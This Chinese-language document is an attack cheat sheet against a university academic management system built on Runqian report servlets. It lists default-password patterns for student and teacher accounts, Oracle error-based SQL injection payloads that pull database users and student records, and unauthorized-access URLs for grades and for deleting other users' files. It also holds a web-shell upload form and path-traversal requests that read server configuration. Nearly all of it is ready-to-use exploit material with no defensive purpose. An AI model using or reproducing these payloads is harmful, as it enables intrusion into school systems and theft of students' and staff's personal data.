主要参考wooyun
账号密码构成
教师
21071 21071
21072 21072
学生
2016517109 2016517109
2016046126 201604612
账号和密码相同,或密码身份证后6位或123456
1. SQL注入
<html> <form action="http://xxx.edu.cn/servlet/com.runqian.report.input.UploadFile2DBServlet" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> cachedId:<input type="text" name="update" value="tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1"> srcType:<input type="text" name="xh" value="test"> <input type="text" name="processor" value="com.runqian.report.input.AbstractProcessor"> <input type="text" name="backAndRefresh" value="test"> <input type="text" name="webTableName" value="test11"> <input type="text" name="importTo" value="text"> <input type="text" name="params" value="params"> <br /> <input type="submit" name="submit" value="Submit" /> </form> </html>
随便上传一个文件,上传时抓包
update填tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1
此时是因为keyCol=1,1这个列索引不存在
此处直接在tbl处注入,把后面的东西注释掉就好了
因为开启了oracle报错。
那就简单了。
报错注入下
以爆数据库名为例
update内容为
tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select user from sys.dual)||'” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1;
然后注入出一条数据为例
udpate内容为
tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select xh||’#’||xm||’#’||xb from xs_xjb where rownum=1)||'” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1;
2. 越权
1)
需登录
http://ip/jmglAction.do?oper=xsmdcx
http://ip/gradeLnAllAction.do?type=ln&oper=qb&cjbh=学号
2)
/cmenu/menu.jsp 访问后 reportIndex.jsp
/index/tree.jsp
/reportIndex.jsp 越权获取信息
3)
登录
fileUploadDownloadAction.do?actionType=1
越权删除他人文件改id
文件名xss
4)
登录
reportAction.do
5)
登录
/reportFiles/cj/cj_zwcjd.jsp
3. 任意文件上传
<form action="http://x.x.x.x/lwUpLoad_action.jsp" method="post" enctype="multipart/form-data" > <input type="file" name="theFile" id="File"/> <input type="text" name="xh" id="context"/> <input type="submit" value="show me the shell" > </form>
4. 任意文件读取
com.runqian.report.view.html.GraphServlet?picFile=../../../../../../../../conf/resin.conf
http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf